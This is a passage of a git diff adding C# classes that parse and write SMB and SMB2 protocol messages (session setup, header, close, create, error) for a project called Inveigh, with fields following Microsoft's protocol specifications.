+ base.Write(data);
+ }
+
+ public void BigEndianWrite(uint number)
+ {
+ byte[] data = BitConverter.GetBytes(number);
+ Array.Reverse(data);
+ base.Write(data);
+ }
+
+ public void BigEndianWrite(int number)
+ {
+ byte[] data = BitConverter.GetBytes(number);
+ Array.Reverse(data);
+ base.Write(data);
+ }
+
+ public void BigEndianWrite(byte[] data)
+ {
+ Array.Reverse(data);
+ base.Write(data);
+ }
+
+ public void StringWrite(string String)
+ {
+ byte[] data = Encoding.UTF8.GetBytes(String);
+ base.Write(data);
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXRequest.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXRequest.cs
new file mode 100644
index 0000000..7130014
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXRequest.cs
@@ -0,0 +1,92 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB
+{
+ class SMBCOMSessionSetupAndXRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb/a00d0361-3544-4845-96ab-309b4bb7705d
+ public byte WordCount { get; set; }
+ public byte AndXCommand { get; set; }
+ public byte AndXReserved { get; set; }
+ public ushort AndXOffset { get; set; }
+ public ushort MaxBufferSize { get; set; }
+ public ushort MaxMpxCount { get; set; }
+ public ushort VcNumber { get; set; }
+ public uint SessionKey { get; set; }
+ public ushort SecurityBlobLength { get; set; }
+ public uint Reserved { get; set; }
+ public uint Capabilities { get; set; }
+ public ushort ByteCount { get; set; }
+ public byte[] SecurityBlob { get; set; }
+
+ public SMBCOMSessionSetupAndXRequest()
+ {
+
+ }
+
+ public SMBCOMSessionSetupAndXRequest(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.WordCount = packetReader.ReadByte();
+ this.AndXCommand = packetReader.ReadByte();
+ this.AndXReserved = packetReader.ReadByte();
+ this.AndXOffset = packetReader.ReadUInt16();
+ this.MaxBufferSize = packetReader.ReadUInt16();
+ this.MaxMpxCount = packetReader.ReadUInt16();
+ this.VcNumber = packetReader.ReadUInt16();
+ this.SessionKey = packetReader.ReadUInt32();
+ this.SecurityBlobLength = packetReader.ReadUInt16();
+ this.Reserved = packetReader.BigEndianReadUInt32();
+ this.Capabilities = packetReader.ReadUInt32();
+ this.ByteCount = packetReader.ReadUInt16();
+ this.SecurityBlob = packetReader.ReadBytes(this.SecurityBlobLength);
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXResponse.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXResponse.cs
new file mode 100644
index 0000000..216162e
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXResponse.cs
@@ -0,0 +1,91 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB
+{
+ class SMBCOMSessionSetupAndXResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb/e5a467bc-cd36-4afa-825e-3f2a7bfd6189
+ public byte WordCount { get; set; }
+ public byte AndXCommand { get; set; }
+ public byte AndXReserved { get; set; }
+ public ushort AndXOffset { get; set; }
+ public ushort Action { get; set; }
+ public ushort SecurityBlobLength { get; set; }
+ public ushort ByteCount { get; set; }
+ public byte[] SecurityBlob { get; set; }
+
+ public SMBCOMSessionSetupAndXResponse()
+ {
+
+ }
+
+ public SMBCOMSessionSetupAndXResponse(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.WordCount = packetReader.ReadByte();
+
+ if (this.WordCount != 0)
+ {
+ this.AndXCommand = packetReader.ReadByte();
+ this.AndXReserved = packetReader.ReadByte();
+ this.AndXOffset = packetReader.ReadUInt16();
+ this.Action = packetReader.ReadUInt16();
+ this.SecurityBlobLength = packetReader.ReadUInt16();
+ }
+
+ this.ByteCount = packetReader.ReadUInt16();
+
+ if (this.WordCount != 0)
+ {
+ this.SecurityBlob = packetReader.ReadBytes(SecurityBlobLength);
+ }
+
+ }
+
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB/SMBHeader.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB/SMBHeader.cs
new file mode 100644
index 0000000..9704220
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB/SMBHeader.cs
@@ -0,0 +1,93 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System.IO;
+
+namespace Quiddity.SMB
+{
+ //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/69a29f73-de0c-45a6-a1aa-8ceeea42217f
+
+ class SMBHeader
+ {
+ public byte[] Protocol { get; set; }
+ public byte Command { get; set; }
+ public uint Status { get; set; }
+ public byte Flags { get; set; }
+ public ushort Flags2 { get; set; }
+ public ushort PIDHigh { get; set; }
+ public byte[] SecurityFeatures { get; set; }
+ public ushort Reserved { get; set; }
+ public ushort TID { get; set; }
+ public ushort PIDLow { get; set; }
+ public ushort UID { get; set; }
+ public ushort MID { get; set; }
+
+ public SMBHeader()
+ {
+ this.Protocol = new byte[4] { 0xff, 0x53, 0x4d, 0x42 };
+ }
+
+ public SMBHeader(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public SMBHeader (byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.Protocol = packetReader.ReadBytes(4);
+ this.Command = packetReader.ReadByte();
+ this.Status = packetReader.BigEndianReadUInt32();
+ this.Flags = packetReader.ReadByte();
+ this.Flags2 = packetReader.BigEndianReadUInt16();
+ this.PIDHigh = packetReader.BigEndianReadUInt16();
+ this.SecurityFeatures = packetReader.ReadBytes(8);
+ this.Reserved = packetReader.BigEndianReadUInt16();
+ this.TID = packetReader.BigEndianReadUInt16();
+ this.PIDLow = packetReader.BigEndianReadUInt16();
+ this.UID = packetReader.BigEndianReadUInt16();
+ this.MID = packetReader.BigEndianReadUInt16();
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB/SMBHelper.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB/SMBHelper.cs
new file mode 100644
index 0000000..32f4309
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB/SMBHelper.cs
@@ -0,0 +1,70 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System.IO;
+
+namespace Quiddity.SMB
+{
+ class SMBHelper
+ {
+ public byte[] Protocol { get; set; }
+
+ public SMBHelper()
+ {
+ this.Protocol = new byte[4];
+ }
+
+ public SMBHelper(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public SMBHelper(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public SMBHelper ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.Protocol = packetReader.ReadBytes(4);
+ return this;
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CloseRequest.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CloseRequest.cs
new file mode 100644
index 0000000..bbe6926
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CloseRequest.cs
@@ -0,0 +1,47 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2CloseRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/f84053b0-bcb2-4f85-9717-536dae2b02bd
+ public ushort StructureSize { get; set; }
+ public byte[] Flags { get; set; }
+ public byte[] Reserved { get; set; }
+ public byte[] Field { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CloseResponse.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CloseResponse.cs
new file mode 100644
index 0000000..3d9b341
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CloseResponse.cs
@@ -0,0 +1,54 @@
+
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2CloseResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/c0c15c57-3f3e-452b-b51c-9cc650a13f7b
+ public ushort StructureSize { get; set; }
+ public byte[] Flags { get; set; }
+ public byte[] Reserved { get; set; }
+ public byte[] CreationTime { get; set; }
+ public byte[] LastAccessTime { get; set; }
+ public byte[] LastWriteTime { get; set; }
+ public byte[] ChangeTime { get; set; }
+ public byte[] AllocationSize { get; set; }
+ public byte[] EndofFile { get; set; }
+ public byte[] FileAttributes { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CreateRequest.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CreateRequest.cs
new file mode 100644
index 0000000..7fd4d42
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CreateRequest.cs
@@ -0,0 +1,120 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using Quiddity.SMB2;
+
+namespace Quiddity.SMB2
+{
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e8fb45c1-a03d-44ca-b7ae-47385cfd7997
+ enum RequestedOplockLevel : byte
+ {
+ SMB2_OPLOCK_LEVEL_NONE = 0x00,
+ SMB2_OPLOCK_LEVEL_II = 0x01,
+ SMB2_OPLOCK_LEVEL_EXCLUSIVE = 0x08,
+ SMB2_OPLOCK_LEVEL_BATCH = 0x09,
+ SMB2_OPLOCK_LEVEL_LEASE = 0xFF
+ }
+
+ enum ImpersonationLevel : uint
+ {
+ Anonymous = 0x00000000,
+ Identification = 0x00000001,
+ Impersonation = 0x00000002,
+ Delegate = 0x00000003
+ }
+
+ enum ShareAccess : uint
+ {
+ FILE_SHARE_READ = 0x00000000,
+ FILE_SHARE_WRITE = 0x0000002,
+ FILE_SHARE_DELETE = 0x00000004
+ }
+
+ enum CreateDisposition : uint
+ {
+ FILE_SUPERSEDE = 0x00000000,
+ FILE_OPEN = 0x0000001,
+ FILE_CREATE = 0x00000002,
+ FILE_OPEN_IF = 0x00000003,
+ FILE_OVERWRITE = 0x00000004,
+ FILE_OVERWRITE_IF = 0x00000005
+ }
+
+ enum CreateOptions : uint
+ {
+ FILE_DIRECTORY_FILE = 0x00000000,
+ FILE_WRITE_THROUGH = 0x0000001,
+ FILE_SEQUENTIAL_ONLY = 0x00000004,
+ FILE_NO_INTERMEDIATE_BUFFERING = 0x00000008,
+ FILE_SYNCHRONOUS_IO_ALERT = 0x00000010,
+ FILE_SYNCHRONOUS_IO_NONALERT = 0x00000020,
+ FILE_NON_DIRECTORY_FILE = 0x00000040,
+ FILE_COMPLETE_IF_OPLOCKED = 0x00000100,
+ FILE_NO_EA_KNOWLEDGE = 0x00000200,
+ FILE_RANDOM_ACCESS = 0x00000800,
+ FILE_DELETE_ON_CLOSE = 0x00001000,
+ FILE_OPEN_BY_FILE_ID = 0x00002000,
+ FILE_OPEN_FOR_BACKUP_INTENT = 0x00004000,
+ FILE_NO_COMPRESSION = 0x00008000,
+ FILE_OPEN_REMOTE_INSTANCE = 0x00000400,
+ FILE_OPEN_REQUIRING_OPLOCK = 0x00010000,
+ FILE_DISALLOW_EXCLUSIVE = 0x00020000,
+ FILE_RESERVE_OPFILTER = 0x00100000,
+ FILE_OPEN_REPARSE_POINT = 0x00200000,
+ FILE_OPEN_NO_RECALL = 0x00400000,
+ FILE_OPEN_FOR_FREE_SPACE_QUERY = 0x00800000
+ }
+
+ class SMB2CreateRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e8fb45c1-a03d-44ca-b7ae-47385cfd7997
+ public ushort StructureSize { get; set; }
+ public byte Flags { get; set; }
+ public byte RequestedOplockLevel { get; set; }
+ public uint ImpersonationLevel { get; set; }
+ public byte[] SmbCreateFlags { get; set; }
+ public byte[] Reserved { get; set; }
+ public byte[] DesiredAccess { get; set; }
+ public byte[] FileAttributes { get; set; }
+ public uint ShareAccess { get; set; }
+ public uint CreateDisposition { get; set; }
+ public uint CreateOptions { get; set; }
+ public ushort NameOffset { get; set; }
+ public ushort NameLength { get; set; }
+ public uint CreateContextsOffset { get; set; }
+ public uint CreateContextsLength { get; set; }
+ public byte[] Buffer { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CreateResponse.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CreateResponse.cs
new file mode 100644
index 0000000..3d63d60
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CreateResponse.cs
@@ -0,0 +1,45 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ enum OplockLevel : uint
+ {
+ SMB2_OPLOCK_LEVEL_NONE = 0x00,
+ SMB2_OPLOCK_LEVEL_II = 0x01,
+ SMB2_OPLOCK_LEVEL_EXCLUSIVE = 0x08,
+ SMB2_OPLOCK_LEVEL_BATCH = 0x09,
+ SMB2_OPLOCK_LEVEL_LEASE = 0xFF
+ }
+
+ enum CreateAction : uint
+ {
+ FILE_SUPERSEDED = 0x00000000,
+ FILE_OPENED = 0x00000001,
+ FILE_CREATED = 0x00000002,
+ FILE_OVERWRITTEN = 0x00000003
+ }
+
+ class SMB2CreateResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/d166aa9e-0b53-410e-b35e-3933d8131927
+ public ushort StructureSize { get; set; }
+ public byte OplockLevel { get; set; }
+ public byte Flags { get; set; }
+ public uint CreateAction { get; set; }
+ public byte[] CreationTime { get; set; }
+ public byte[] LastAccessTime { get; set; }
+ public byte[] LastWriteTime { get; set; }
+ public byte[] ChangeTime { get; set; }
+ public byte[] AllocationSize { get; set; }
+ public byte[] EndofFile { get; set; }
+ public byte[] FileAttributes { get; set; }
+ public byte[] Reserved2 { get; set; }
+ public byte[] Field { get; set; }
+ public uint CreateContextsOffset { get; set; }
+ public uint CreateContextsLength { get; set; }
+ public byte[] Buffer { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ErrorResponse.cs b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ErrorResponse.cs
new file mode 100644
index 0000000..02d66a4
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ErrorResponse.cs
@@ -0,0 +1,48 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2ErrorResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/d4da8b67-c180-47e3-ba7a-d24214ac4aaa
+ public ushort StructureSize { get; set; }
+ public byte ErrorContextCount { get; set; }
